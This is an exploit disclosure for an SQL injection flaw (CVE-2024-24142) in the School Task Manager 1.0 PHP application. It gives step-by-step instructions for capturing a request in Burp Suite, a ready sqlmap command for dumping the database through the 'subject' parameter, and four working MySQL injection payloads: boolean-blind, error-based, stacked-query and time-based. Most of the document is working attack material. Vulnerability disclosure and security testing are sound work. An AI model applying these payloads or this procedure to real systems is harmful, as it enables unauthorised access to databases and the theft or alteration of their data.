• Software Link: https://www.sourcecodester.com/download-code?nid=16877&title=School+Task+Manager+Using+PHP+with+Source+Code
• Version: 1.0
• Tested on: Kali Linux + PHP 8.2.12, Apache 2.4.58
• CVE: CVE-2024-24142

Description:

School Task Manager 1.0 allows SQL Injection via the 'subject' parameter in "/school-task-manager/endpoint/delete-subject.php?subject=6". Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit the latest vulnerabilities in the underlying database.

Proof of Concept:

• Go to this address: "localhost/school-task-manager/index.php"
• Select any subject and press the delete-subject button
• Capture the request via Burp Suite and send it to the Repeater.
• Copy the request and paste it into an "r.txt" file.
• Captured Burp request:

GET /school-task-manager/endpoint/delete-subject.php?subject=6 HTTP/1.1
Host: localhost
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36

• Use sqlmap to exploit. In sqlmap, use 'subject' parameter to dump the database.

sqlmap -r r.txt -p subject --risk 3 --level 5 --dbms mysql --proxy="http://127.0.0.1:8080" --batch --current-db

Parameter: subject (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: subject=6' RLIKE (SELECT (CASE WHEN (2936=2936) THEN 6 ELSE 0x28 END))-- rdYA

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: subject=6' AND EXTRACTVALUE(1488,CONCAT(0x5c,0x716b6a6a71,(SELECT (ELT(1488=1488,1))),0x716a6a7671))-- ahTU

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: subject=6';SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: subject=6' AND (SELECT 6603 FROM (SELECT(SLEEP(5)))iBWA)-- DMXl
